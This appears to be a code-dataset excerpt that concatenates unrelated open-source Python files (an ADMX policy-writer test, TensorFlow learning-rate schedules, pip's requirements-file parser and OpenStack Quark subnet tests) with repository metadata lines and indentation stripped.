' <resources minRequiredRevision="1.0"/>\n'
' <supportedOn>\n'
' <definitions>\n'
' <definition displayName="'
'$(string.SUPPORTED_TESTOS)" name="SUPPORTED_TESTOS"/>\n'
' <definition displayName="'
'$(string.SUPPORTED_TESTOS_2)" name="SUPPORTED_TESTOS_2"/>\n'
' </definitions>\n'
' </supportedOn>\n'
' <categories>\n'
' <category displayName="$(string.' + self._GetCategory() + ')"'
' name="' + self._GetCategory() + '"/>\n'
' <category displayName="$(string.' + self._GetCategoryRec() + ')"'
' name="' + self._GetCategoryRec() + '"/>\n'
' </categories>\n'
' <policies/>\n'
'</policyDefinitions>')
self.AssertXMLEquals(output, expected_output)
def testEmptyPolicyGroup(self):
empty_policy_group = {'name': 'PolicyGroup', 'policies': []}
# Initialize writer to write a policy group.
self.writer.BeginTemplate()
# Write policy group
self.writer.BeginPolicyGroup(empty_policy_group)
self.writer.EndPolicyGroup()
output = self.GetXMLOfChildren(self._GetPoliciesElement(self.writer._doc))
expected_output = ''
self.AssertXMLEquals(output, expected_output)
output = self.GetXMLOfChildren(self._GetCategoriesElement(self.writer._doc))
expected_output = (
'<category displayName="$(string.' + self._GetCategory() + ')"'
' name="' + self._GetCategory() + '"/>\n'
'<category displayName="$(string.' + self._GetCategoryRec() + ')"'
' name="' + self._GetCategoryRec() + '"/>\n'
'<category displayName="$(string.PolicyGroup_group)"'
' name="PolicyGroup">\n'
' <parentCategory ref="' + self._GetCategory() + '"/>\n'
'</category>')
self.AssertXMLEquals(output, expected_output)
def testPolicyGroup(self):
empty_policy_group = {
'name':
'PolicyGroup',
'policies': [
{
'name': 'PolicyStub2',
'type': 'main'
},
{
'name': 'PolicyStub1',
'type': 'main'
},
]
}
# Initialize writer to write a policy group.
self.writer.BeginTemplate()
# Write policy group
self.writer.BeginPolicyGroup(empty_policy_group)
self.writer.EndPolicyGroup()
output = self.GetXMLOfChildren(self._GetPoliciesElement(self.writer._doc))
expected_output = ''
self.AssertXMLEquals(output, expected_output)
output = self.GetXMLOfChildren(self._GetCategoriesElement(self.writer._doc))
expected_output = (
'<category displayName="$(string.' + self._GetCategory() + ')"'
' name="' + self._GetCategory() + '"/>\n'
'<category displayName="$(string.' + self._GetCategoryRec() + ')"'
' name="' + self._GetCategoryRec() + '"/>\n'
'<category displayName="$(string.PolicyGroup_group)"'
' name="PolicyGroup">\n'
' <parentCategory ref="' + self._GetCategory() + '"/>\n'
'</category>')
self.AssertXMLEquals(output, expected_output)
def _initWriterForPolicy(self, writer, policy):
'''Initializes the writer to write the given policy next.
'''
policy_group = {'name': 'PolicyGroup', 'policies': [policy]}
writer.BeginTemplate()
writer.BeginPolicyGroup(policy_group)
def testMainPolicy(self):
main_policy = {
'name': 'DummyMainPolicy',
'type': 'main',
}
self._initWriterForPolicy(self.writer, main_policy)
self.writer.WritePolicy(main_policy)
output = self.GetXMLOfChildren(self._GetPoliciesElement(self.writer._doc))
expected_output = (
'<policy class="' + self.writer.GetClass(main_policy) + '"'
' displayName="$(string.DummyMainPolicy)"'
' explainText="$(string.DummyMainPolicy_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '"'
' name="DummyMainPolicy"'
' presentation="$(presentation.DummyMainPolicy)"'
' valueName="DummyMainPolicy">\n'
' <parentCategory ref="PolicyGroup"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS"/>\n'
' <enabledValue>\n'
' <decimal value="1"/>\n'
' </enabledValue>\n'
' <disabledValue>\n'
' <decimal value="0"/>\n'
' </disabledValue>\n'
'</policy>')
self.AssertXMLEquals(output, expected_output)
def testRecommendedPolicy(self):
main_policy = {
'name': 'DummyMainPolicy',
'type': 'main',
}
policy_group = {
'name': 'PolicyGroup',
'policies': [main_policy],
}
self.writer.BeginTemplate()
self.writer.BeginRecommendedPolicyGroup(policy_group)
self.writer.WriteRecommendedPolicy(main_policy)
output = self.GetXMLOfChildren(self._GetPoliciesElement(self.writer._doc))
expected_output = (
'<policy class="' + self.writer.GetClass(main_policy) + '"'
' displayName="$(string.DummyMainPolicy)"'
' explainText="$(string.DummyMainPolicy_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '\\Recommended"'
' name="DummyMainPolicy_recommended"'
' presentation="$(presentation.DummyMainPolicy)"'
' valueName="DummyMainPolicy">\n'
' <parentCategory ref="PolicyGroup_recommended"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS"/>\n'
' <enabledValue>\n'
' <decimal value="1"/>\n'
' </enabledValue>\n'
' <disabledValue>\n'
' <decimal value="0"/>\n'
' </disabledValue>\n'
'</policy>')
self.AssertXMLEquals(output, expected_output)
def testRecommendedOnlyPolicy(self):
main_policy = {
'name': 'DummyMainPolicy',
'type': 'main',
'features': {
'can_be_recommended': True,
'can_be_mandatory': False,
}
}
policy_group = {
'name': 'PolicyGroup',
'policies': [main_policy],
}
self.writer.BeginTemplate()
self.writer.BeginRecommendedPolicyGroup(policy_group)
self.writer.WritePolicy(main_policy)
self.writer.WriteRecommendedPolicy(main_policy)
output = self.GetXMLOfChildren(self._GetPoliciesElement(self.writer._doc))
expected_output = (
'<policy class="' + self.writer.GetClass(main_policy) + '"'
' displayName="$(string.DummyMainPolicy)"'
' explainText="$(string.DummyMainPolicy_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '\\Recommended"'
' name="DummyMainPolicy_recommended"'
' presentation="$(presentation.DummyMainPolicy)"'
' valueName="DummyMainPolicy">\n'
' <parentCategory ref="PolicyGroup_recommended"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS"/>\n'
' <enabledValue>\n'
' <decimal value="1"/>\n'
' </enabledValue>\n'
' <disabledValue>\n'
' <decimal value="0"/>\n'
' </disabledValue>\n'
'</policy>')
self.AssertXMLEquals(output, expected_output)
def testStringPolicy(self):
string_policy = {
'name': 'SampleStringPolicy',
'type': 'string',
}
self._initWriterForPolicy(self.writer, string_policy)
self.writer.WritePolicy(string_policy)
output = self.GetXMLOfChildren(self._GetPoliciesElement(self.writer._doc))
expected_output = (
'<policy class="' + self.writer.GetClass(string_policy) + '"'
' displayName="$(string.SampleStringPolicy)"'
' explainText="$(string.SampleStringPolicy_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '"'
' name="SampleStringPolicy"'
' presentation="$(presentation.SampleStringPolicy)">\n'
' <parentCategory ref="PolicyGroup"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS"/>\n'
' <elements>\n'
' <text id="SampleStringPolicy" maxLength="1000000"'
' valueName="SampleStringPolicy"/>\n'
' </elements>\n'
'</policy>')
self.AssertXMLEquals(output, expected_output)
def testIntPolicy(self):
int_policy = {
'name': 'SampleIntPolicy',
'type': 'int',
}
self._initWriterForPolicy(self.writer, int_policy)
self.writer.WritePolicy(int_policy)
output = self.GetXMLOfChildren(self._GetPoliciesElement(self.writer._doc))
expected_output = (
'<policy class="' + self.writer.GetClass(int_policy) + '"'
' displayName="$(string.SampleIntPolicy)"'
' explainText="$(string.SampleIntPolicy_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '"'
' name="SampleIntPolicy"'
' presentation="$(presentation.SampleIntPolicy)">\n'
' <parentCategory ref="PolicyGroup"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS"/>\n'
' <elements>\n'
' <decimal id="SampleIntPolicy" maxValue="2000000000" minValue="0" '
'valueName="SampleIntPolicy"/>\n'
' </elements>\n'
'</policy>')
self.AssertXMLEquals(output, expected_output)
def testIntPolicyWithWin7Only(self):
int_policy = {
'name': 'SampleIntPolicy',
'type': 'int',
'supported_on': [{
'platform': 'win7',
}]
}
self._initWriterForPolicy(self.writer, int_policy)
self.writer.WritePolicy(int_policy)
output = self.GetXMLOfChildren(self._GetPoliciesElement(self.writer._doc))
expected_output = (
'<policy class="' + self.writer.GetClass(int_policy) + '"'
' displayName="$(string.SampleIntPolicy)"'
' explainText="$(string.SampleIntPolicy_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '"'
' name="SampleIntPolicy"'
' presentation="$(presentation.SampleIntPolicy)">\n'
' <parentCategory ref="PolicyGroup"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS_2"/>\n'
' <elements>\n'
' <decimal id="SampleIntPolicy" maxValue="2000000000" minValue="0" '
'valueName="SampleIntPolicy"/>\n'
' </elements>\n'
'</policy>')
self.AssertXMLEquals(output, expected_output)
def testIntEnumPolicy(self):
enum_policy = {
'name':
'SampleEnumPolicy',
'type':
'int-enum',
'items': [
{
'name': 'item_1',
'value': 0
},
{
'name': 'item_2',
'value': 1
},
]
}
self._initWriterForPolicy(self.writer, enum_policy)
self.writer.WritePolicy(enum_policy)
output = self.GetXMLOfChildren(self._GetPoliciesElement(self.writer._doc))
expected_output = (
'<policy class="' + self.writer.GetClass(enum_policy) + '"'
' displayName="$(string.SampleEnumPolicy)"'
' explainText="$(string.SampleEnumPolicy_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '"'
' name="SampleEnumPolicy"'
' presentation="$(presentation.SampleEnumPolicy)">\n'
' <parentCategory ref="PolicyGroup"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS"/>\n'
' <elements>\n'
' <enum id="SampleEnumPolicy" valueName="SampleEnumPolicy">\n'
' <item displayName="$(string.SampleEnumPolicy_item_1)">\n'
' <value>\n'
' <decimal value="0"/>\n'
' </value>\n'
' </item>\n'
' <item displayName="$(string.SampleEnumPolicy_item_2)">\n'
' <value>\n'
' <decimal value="1"/>\n'
' </value>\n'
' </item>\n'
' </enum>\n'
' </elements>\n'
'</policy>')
self.AssertXMLEquals(output, expected_output)
def testStringEnumPolicy(self):
enum_policy = {
'name':
'SampleEnumPolicy',
'type':
'string-enum',
'items': [
{
'name': 'item_1',
'value': 'one'
},
{
'name': 'item_2',
'value': 'two'
},
]
}
# This test is different than the others because it also tests that space
# usage inside <string> nodes is correct.
dom_impl = minidom.getDOMImplementation('')
self.writer._doc = dom_impl.createDocument(None, 'policyDefinitions', None)
self.writer._active_policies_elem = self.writer._doc.documentElement
self.writer._active_mandatory_policy_group_name = 'PolicyGroup'
self.writer.WritePolicy(enum_policy)
output = self.writer.GetTemplateText()
expected_output = (
'<?xml version="1.0" ?>\n'
'<policyDefinitions>\n'
' <policy class="' + self.writer.GetClass(enum_policy) + '"'
' displayName="$(string.SampleEnumPolicy)"'
' explainText="$(string.SampleEnumPolicy_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '"'
' name="SampleEnumPolicy"'
' presentation="$(presentation.SampleEnumPolicy)">\n'
' <parentCategory ref="PolicyGroup"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS"/>\n'
' <elements>\n'
' <enum id="SampleEnumPolicy" valueName="SampleEnumPolicy">\n'
' <item displayName="$(string.SampleEnumPolicy_item_1)">\n'
' <value>\n'
' <string>one</string>\n'
' </value>\n'
' </item>\n'
' <item displayName="$(string.SampleEnumPolicy_item_2)">\n'
' <value>\n'
' <string>two</string>\n'
' </value>\n'
' </item>\n'
' </enum>\n'
' </elements>\n'
' </policy>\n'
'</policyDefinitions>')
self.AssertXMLEquals(output, expected_output)
def testListPolicy(self):
list_policy = {
'name': 'SampleListPolicy',
'type': 'list',
}
self._initWriterForPolicy(self.writer, list_policy)
self.writer.WritePolicy(list_policy)
output = self.GetXMLOfChildren(self._GetPoliciesElement(self.writer._doc))
expected_output = (
'<policy class="' + self.writer.GetClass(list_policy) + '"'
' displayName="$(string.SampleListPolicy)"'
' explainText="$(string.SampleListPolicy_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '"'
' name="SampleListPolicy"'
' presentation="$(presentation.SampleListPolicy)">\n'
' <parentCategory ref="PolicyGroup"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS"/>\n'
' <elements>\n'
' <list id="SampleListPolicyDesc"'
' key="Software\Policies\\' + self._GetKey() + '\SampleListPolicy"'
' valuePrefix=""/>\n'
' </elements>\n'
'</policy>')
self.AssertXMLEquals(output, expected_output)
def testStringEnumListPolicy(self):
list_policy = {
'name':
'SampleListPolicy',
'type':
'string-enum-list',
'items': [
{
'name': 'item_1',
'value': 'one'
},
{
'name': 'item_2',
'value': 'two'
},
]
}
self._initWriterForPolicy(self.writer, list_policy)
self.writer.WritePolicy(list_policy)
output = self.GetXMLOfChildren(self._GetPoliciesElement(self.writer._doc))
expected_output = (
'<policy class="' + self.writer.GetClass(list_policy) + '"'
' displayName="$(string.SampleListPolicy)"'
' explainText="$(string.SampleListPolicy_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '"'
' name="SampleListPolicy"'
' presentation="$(presentation.SampleListPolicy)">\n'
' <parentCategory ref="PolicyGroup"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS"/>\n'
' <elements>\n'
' <list id="SampleListPolicyDesc"'
' key="Software\Policies\\' + self._GetKey() + '\SampleListPolicy"'
' valuePrefix=""/>\n'
' </elements>\n'
'</policy>')
self.AssertXMLEquals(output, expected_output)
def testDictionaryPolicy(self, is_external=False):
dict_policy = {
'name': 'SampleDictionaryPolicy',
'type': 'external' if is_external else 'dict',
}
self._initWriterForPolicy(self.writer, dict_policy)
self.writer.WritePolicy(dict_policy)
output = self.GetXMLOfChildren(self._GetPoliciesElement(self.writer._doc))
expected_output = (
'<policy class="' + self.writer.GetClass(dict_policy) + '"'
' displayName="$(string.SampleDictionaryPolicy)"'
' explainText="$(string.SampleDictionaryPolicy_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '"'
' name="SampleDictionaryPolicy"'
' presentation="$(presentation.SampleDictionaryPolicy)">\n'
' <parentCategory ref="PolicyGroup"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS"/>\n'
' <elements>\n'
' <text id="SampleDictionaryPolicy" maxLength="1000000"'
' valueName="SampleDictionaryPolicy"/>\n'
' </elements>\n'
'</policy>')
self.AssertXMLEquals(output, expected_output)
def testExternalPolicy(self):
self.testDictionaryPolicy(is_external=True)
def testPlatform(self):
# Test that the writer correctly chooses policies of platform Windows.
self.assertTrue(
self.writer.IsPolicySupported({
'supported_on': [{
'platform': 'win'
}, {
'platform': 'aaa'
}]
}))
self.assertFalse(
self.writer.IsPolicySupported({
'supported_on': [{
'platform': 'mac'
}, {
'platform': 'aaa'
}, {
'platform': 'linux'
}]
}))
def testStringEncodings(self):
enum_policy_a = {
'name': 'SampleEnumPolicy.A',
'type': 'string-enum',
'items': [{
'name': 'tls1.2',
'value': 'tls1.2'
}]
}
enum_policy_b = {
'name': 'SampleEnumPolicy.B',
'type': 'string-enum',
'items': [{
'name': 'tls1.2',
'value': 'tls1.2'
}]
}
dom_impl = minidom.getDOMImplementation('')
self.writer._doc = dom_impl.createDocument(None, 'policyDefinitions', None)
self.writer._active_policies_elem = self.writer._doc.documentElement
self.writer._active_mandatory_policy_group_name = 'PolicyGroup'
self.writer.WritePolicy(enum_policy_a)
self.writer.WritePolicy(enum_policy_b)
output = self.writer.GetTemplateText()
expected_output = (
'<?xml version="1.0" ?>\n'
'<policyDefinitions>\n'
' <policy class="' + self.writer.GetClass(enum_policy_a) + '"'
' displayName="$(string.SampleEnumPolicy_A)"'
' explainText="$(string.SampleEnumPolicy_A_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '"'
' name="SampleEnumPolicy.A"'
' presentation="$(presentation.SampleEnumPolicy.A)">\n'
' <parentCategory ref="PolicyGroup"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS"/>\n'
' <elements>\n'
' <enum id="SampleEnumPolicy.A" valueName="SampleEnumPolicy.A">\n'
' <item displayName="$(string.SampleEnumPolicy_A_tls1_2)">\n'
' <value>\n'
' <string>tls1.2</string>\n'
' </value>\n'
' </item>\n'
' </enum>\n'
' </elements>\n'
' </policy>\n'
' <policy class="' + self.writer.GetClass(enum_policy_b) + '"'
' displayName="$(string.SampleEnumPolicy_B)"'
' explainText="$(string.SampleEnumPolicy_B_Explain)"'
' key="Software\\Policies\\' + self._GetKey() + '"'
' name="SampleEnumPolicy.B"'
' presentation="$(presentation.SampleEnumPolicy.B)">\n'
' <parentCategory ref="PolicyGroup"/>\n'
' <supportedOn ref="SUPPORTED_TESTOS"/>\n'
' <elements>\n'
' <enum id="SampleEnumPolicy.B" valueName="SampleEnumPolicy.B">\n'
' <item displayName="$(string.SampleEnumPolicy_B_tls1_2)">\n'
' <value>\n'
' <string>tls1.2</string>\n'
' </value>\n'
' </item>\n'
' </enum>\n'
' </elements>\n'
' </policy>\n'
'</policyDefinitions>')
self.AssertXMLEquals(output, expected_output)
if __name__ == '__main__':
unittest.main()
| bsd-3-clause |
RyanChinSang/ECNG3020-ORSS4SCVI | BETA/TestCode/Tensorflow/Test/object_detection/utils/learning_schedules.py | 21 | 4588 | # Copyright 2017 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Library of common learning rate schedules."""
import tensorflow as tf
def exponential_decay_with_burnin(global_step,
learning_rate_base,
learning_rate_decay_steps,
learning_rate_decay_factor,
burnin_learning_rate=0.0,
burnin_steps=0):
"""Exponential decay schedule with burn-in period.
In this schedule, learning rate is fixed at burnin_learning_rate
for a fixed period, before transitioning to a regular exponential
decay schedule.
Args:
global_step: int tensor representing global step.
learning_rate_base: base learning rate.
learning_rate_decay_steps: steps to take between decaying the learning rate.
Note that this includes the number of burn-in steps.
learning_rate_decay_factor: multiplicative factor by which to decay
learning rate.
burnin_learning_rate: initial learning rate during burn-in period. If
0.0 (which is the default), then the burn-in learning rate is simply
set to learning_rate_base.
burnin_steps: number of steps to use burnin learning rate.
Returns:
a (scalar) float tensor representing learning rate
"""
if burnin_learning_rate == 0:
burnin_learning_rate = learning_rate_base
post_burnin_learning_rate = tf.train.exponential_decay(
learning_rate_base,
global_step,
learning_rate_decay_steps,
learning_rate_decay_factor,
staircase=True)
return tf.cond(
tf.less(global_step, burnin_steps),
lambda: tf.convert_to_tensor(burnin_learning_rate),
lambda: post_burnin_learning_rate)
def manual_stepping(global_step, boundaries, rates):
"""Manually stepped learning rate schedule.
This function provides fine grained control over learning rates. One must
specify a sequence of learning rates as well as a set of integer steps
at which the current learning rate must transition to the next. For example,
if boundaries = [5, 10] and rates = [.1, .01, .001], then the learning
rate returned by this function is .1 for global_step=0,...,4, .01 for
global_step=5...9, and .001 for global_step=10 and onward.
Args:
global_step: int64 (scalar) tensor representing global step.
boundaries: a list of global steps at which to switch learning
rates. This list is assumed to consist of increasing positive integers.
rates: a list of (float) learning rates corresponding to intervals between
the boundaries. The length of this list must be exactly
len(boundaries) + 1.
Returns:
a (scalar) float tensor representing learning rate
Raises:
ValueError: if one of the following checks fails:
1. boundaries is a strictly increasing list of positive integers
2. len(rates) == len(boundaries) + 1
"""
if any([b < 0 for b in boundaries]) or any(
[not isinstance(b, int) for b in boundaries]):
raise ValueError('boundaries must be a list of positive integers')
if any([bnext <= b for bnext, b in zip(boundaries[1:], boundaries[:-1])]):
raise ValueError('Entries in boundaries must be strictly increasing.')
if any([not isinstance(r, float) for r in rates]):
raise ValueError('Learning rates must be floats')
if len(rates) != len(boundaries) + 1:
raise ValueError('Number of provided learning rates must exceed '
'number of boundary points by exactly 1.')
step_boundaries = tf.constant(boundaries, tf.int64)
learning_rates = tf.constant(rates, tf.float32)
unreached_boundaries = tf.reshape(tf.where(
tf.greater(step_boundaries, global_step)), [-1])
unreached_boundaries = tf.concat([unreached_boundaries, [len(boundaries)]], 0)
index = tf.reshape(tf.reduce_min(unreached_boundaries), [1])
return tf.reshape(tf.slice(learning_rates, index, [1]), [])
| gpl-3.0 |
TripleDogDare/RadioWCSpy | backend/env/lib/python2.7/site-packages/pip/req/req_file.py | 85 | 5511 | from __future__ import absolute_import
import os
import re
from pip._vendor.six.moves.urllib import parse as urllib_parse
from pip.download import get_file_content
from pip.req.req_install import InstallRequirement
from pip.utils import normalize_name
_scheme_re = re.compile(r'^(http|https|file):', re.I)
def parse_requirements(filename, finder=None, comes_from=None, options=None,
session=None):
if session is None:
raise TypeError(
"parse_requirements() missing 1 required keyword argument: "
"'session'"
)
skip_match = None
skip_regex = options.skip_requirements_regex if options else None
if skip_regex:
skip_match = re.compile(skip_regex)
reqs_file_dir = os.path.dirname(os.path.abspath(filename))
filename, content = get_file_content(
filename,
comes_from=comes_from,
session=session,
)
for line_number, line in enumerate(content.splitlines(), 1):
line = line.strip()
# Remove comments from file
line = re.sub(r"(^|\s)#.*$", "", line)
if not line or line.startswith('#'):
continue
if skip_match and skip_match.search(line):
continue
if line.startswith('-r') or line.startswith('--requirement'):
if line.startswith('-r'):
req_url = line[2:].strip()
else:
req_url = line[len('--requirement'):].strip().strip('=')
if _scheme_re.search(filename):
# Relative to a URL
req_url = urllib_parse.urljoin(filename, req_url)
elif not _scheme_re.search(req_url):
req_url = os.path.join(os.path.dirname(filename), req_url)
for item in parse_requirements(
req_url, finder,
comes_from=filename,
options=options,
session=session):
yield item
elif line.startswith('-Z') or line.startswith('--always-unzip'):
# No longer used, but previously these were used in
# requirement files, so we'll ignore.
pass
elif line.startswith('-f') or line.startswith('--find-links'):
if line.startswith('-f'):
line = line[2:].strip()
else:
line = line[len('--find-links'):].strip().lstrip('=')
# FIXME: it would be nice to keep track of the source of
# the find_links:
# support a find-links local path relative to a requirements file
relative_to_reqs_file = os.path.join(reqs_file_dir, line)
if os.path.exists(relative_to_reqs_file):
line = relative_to_reqs_file
if finder:
finder.find_links.append(line)
elif line.startswith('-i') or line.startswith('--index-url'):
if line.startswith('-i'):
line = line[2:].strip()
else:
line = line[len('--index-url'):].strip().lstrip('=')
if finder:
finder.index_urls = [line]
elif line.startswith('--extra-index-url'):
line = line[len('--extra-index-url'):].strip().lstrip('=')
if finder:
finder.index_urls.append(line)
elif line.startswith('--use-wheel'):
# Default in 1.5
pass
elif line.startswith('--no-use-wheel'):
if finder:
finder.use_wheel = False
elif line.startswith('--no-index'):
if finder:
finder.index_urls = []
elif line.startswith("--allow-external"):
line = line[len("--allow-external"):].strip().lstrip("=")
if finder:
finder.allow_external |= set([normalize_name(line).lower()])
elif line.startswith("--allow-all-external"):
if finder:
finder.allow_all_external = True
# Remove in 7.0
elif line.startswith("--no-allow-external"):
pass
# Remove in 7.0
elif line.startswith("--no-allow-insecure"):
pass
# Remove after 7.0
elif line.startswith("--allow-insecure"):
line = line[len("--allow-insecure"):].strip().lstrip("=")
if finder:
finder.allow_unverified |= set([normalize_name(line).lower()])
elif line.startswith("--allow-unverified"):
line = line[len("--allow-unverified"):].strip().lstrip("=")
if finder:
finder.allow_unverified |= set([normalize_name(line).lower()])
else:
comes_from = '-r %s (line %s)' % (filename, line_number)
if line.startswith('-e') or line.startswith('--editable'):
if line.startswith('-e'):
line = line[2:].strip()
else:
line = line[len('--editable'):].strip().lstrip('=')
req = InstallRequirement.from_editable(
line,
comes_from=comes_from,
default_vcs=options.default_vcs if options else None,
isolated=options.isolated_mode if options else False,
)
else:
req = InstallRequirement.from_line(
line,
comes_from,
isolated=options.isolated_mode if options else False,
)
yield req
| mit |
jkoelker/quark | quark/tests/plugin_modules/test_subnets.py | 1 | 36379 | # Copyright 2013 Openstack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import contextlib
import copy
import time
import uuid
import mock
from neutron.api.v2 import attributes as neutron_attrs
from neutron.common import exceptions
from neutron.openstack.common.notifier import api as notifier_api
from oslo.config import cfg
from quark.db import models
from quark.tests import test_quark_plugin
class TestQuarkGetSubnetCount(test_quark_plugin.TestQuarkPlugin):
def test_get_subnet_count(self):
"""This isn't really testable."""
with mock.patch("quark.db.api.subnet_count_all"):
self.plugin.get_subnets_count(self.context, {})
class TestQuarkGetSubnets(test_quark_plugin.TestQuarkPlugin):
@contextlib.contextmanager
def _stubs(self, subnets=None, routes=None):
if routes is None:
routes = []
route_models = []
for route in routes:
r = models.Route()
r.update(route)
route_models.append(r)
if isinstance(subnets, list):
subnet_models = []
for subnet in subnets:
s_dict = subnet.copy()
s_dict["routes"] = route_models
s = models.Subnet(network=models.Network())
s.update(s_dict)
subnet_models.append(s)
elif subnets:
mod = models.Subnet(network=models.Network())
mod.update(subnets)
mod["routes"] = route_models
subnet_models = mod
else:
subnet_models = None
with mock.patch("quark.db.api.subnet_find") as subnet_find:
subnet_find.return_value = subnet_models
yield
def test_subnets_list(self):
subnet_id = str(uuid.uuid4())
route = dict(id=1, cidr="0.0.0.0/0", gateway="192.168.0.1")
subnet = dict(id=subnet_id, network_id=1, name=subnet_id,
tenant_id=self.context.tenant_id, ip_version=4,
cidr="192.168.0.0/24", gateway_ip="192.168.0.1",
dns_nameservers=[],
enable_dhcp=None)
expected_route = dict(destination=route["cidr"],
nexthop=route["gateway"])
with self._stubs(subnets=[subnet], routes=[route]):
res = self.plugin.get_subnets(self.context, {}, {})
# Compare routes separately
routes = res[0].pop("host_routes")
for key in subnet.keys():
self.assertEqual(res[0][key], subnet[key])
for key in expected_route.keys():
self.assertEqual(routes[0][key], expected_route[key])
def test_subnet_show_fail(self):
with self._stubs():
with self.assertRaises(exceptions.SubnetNotFound):
self.plugin.get_subnet(self.context, 1)
def test_subnet_show(self):
subnet_id = str(uuid.uuid4())
route = dict(id=1, cidr="0.0.0.0/0", gateway="192.168.0.1",
subnet_id=subnet_id)
expected_route = dict(destination=route["cidr"],
nexthop=route["gateway"])
subnet = dict(id=subnet_id, network_id=1, name=subnet_id,
tenant_id=self.context.tenant_id, ip_version=4,
cidr="192.168.0.0/24", gateway_ip="192.168.0.1",
dns_nameservers=[],
enable_dhcp=None)
with self._stubs(subnets=subnet, routes=[route]):
res = self.plugin.get_subnet(self.context, subnet_id)
# Compare routes separately
routes = res.pop("host_routes")
for key in subnet.keys():
self.assertEqual(res[key], subnet[key])
for key in expected_route.keys():
self.assertEqual(routes[0][key], expected_route[key])
class TestQuarkCreateSubnetOverlapping(test_quark_plugin.TestQuarkPlugin):
@contextlib.contextmanager
def _stubs(self, subnets=None):
if subnets is None:
subnets = []
subnet_models = []
for subnet in subnets:
s = models.Subnet()
s.update(subnet)
subnet_models.append(s)
network = models.Network()
network.update(dict(id=1, subnets=subnet_models))
with contextlib.nested(
mock.patch("quark.db.api.network_find"),
mock.patch("quark.db.api.subnet_find"),
mock.patch("quark.db.api.subnet_create")
) as (net_find, subnet_find, subnet_create):
net_find.return_value = network
subnet_find.return_value = subnet_models
subnet_create.return_value = models.Subnet(
network=models.Network(),
cidr="192.168.1.1/24")
yield subnet_create
def test_create_subnet_overlapping_true(self):
cfg.CONF.set_override('allow_overlapping_ips', True)
with self._stubs() as subnet_create:
s = dict(subnet=dict(
gateway_ip=neutron_attrs.ATTR_NOT_SPECIFIED,
dns_nameservers=neutron_attrs.ATTR_NOT_SPECIFIED,
cidr="192.168.1.1/8",
network_id=1))
self.plugin.create_subnet(self.context, s)
self.assertEqual(subnet_create.call_count, 1)
def test_create_subnet_overlapping_false(self):
cfg.CONF.set_override('allow_overlapping_ips', False)
with self._stubs() as subnet_create:
s = dict(subnet=dict(
gateway_ip=neutron_attrs.ATTR_NOT_SPECIFIED,
dns_nameservers=neutron_attrs.ATTR_NOT_SPECIFIED,
cidr="192.168.1.1/8",
network_id=1))
self.plugin.create_subnet(self.context, s)
self.assertEqual(subnet_create.call_count, 1)
def test_create_subnet_overlapping_conflict(self):
cfg.CONF.set_override('allow_overlapping_ips', False)
with self._stubs(subnets=[dict(cidr="192.168.10.1/24")]):
with self.assertRaises(exceptions.InvalidInput):
s = dict(subnet=dict(cidr="192.168.1.1/8",
network_id=1))
self.plugin.create_subnet(self.context, s)
class TestQuarkCreateSubnetAllocationPools(test_quark_plugin.TestQuarkPlugin):
@contextlib.contextmanager
def _stubs(self, subnet):
s = models.Subnet(network=models.Network(id=1, subnets=[]))
s.update(subnet)
with contextlib.nested(
mock.patch("quark.db.api.network_find"),
mock.patch("quark.db.api.subnet_find"),
mock.patch("quark.db.api.subnet_create"),
) as (net_find, subnet_find, subnet_create):
net_find.return_value = s["network"]
subnet_find.return_value = []
subnet_create.return_value = s
yield subnet_create
def setUp(self):
super(TestQuarkCreateSubnetAllocationPools, self).setUp()
def tearDown(self):
super(TestQuarkCreateSubnetAllocationPools, self).tearDown()
def test_create_subnet_allocation_pools_zero(self):
s = dict(subnet=dict(
cidr="192.168.1.1/24",
network_id=1))
with self._stubs(s["subnet"]) as (subnet_create):
resp = self.plugin.create_subnet(self.context, s)
self.assertEqual(subnet_create.call_count, 1)
self.assertEqual(resp["allocation_pools"],
[dict(start="192.168.1.2", end="192.168.1.254")])
def test_create_subnet_allocation_pools_one(self):
pools = [dict(start="192.168.1.10", end="192.168.1.20")]
s = dict(subnet=dict(
allocation_pools=pools,
cidr="192.168.1.1/24",
network_id=1))
with self._stubs(s["subnet"]) as (subnet_create):
resp = self.plugin.create_subnet(self.context, s)
self.assertEqual(subnet_create.call_count, 1)
self.assertEqual(resp["allocation_pools"], pools)
def test_create_subnet_allocation_pools_two(self):
pools = [dict(start="192.168.1.10", end="192.168.1.20"),
dict(start="192.168.1.40", end="192.168.1.50")]
s = dict(subnet=dict(
allocation_pools=pools,
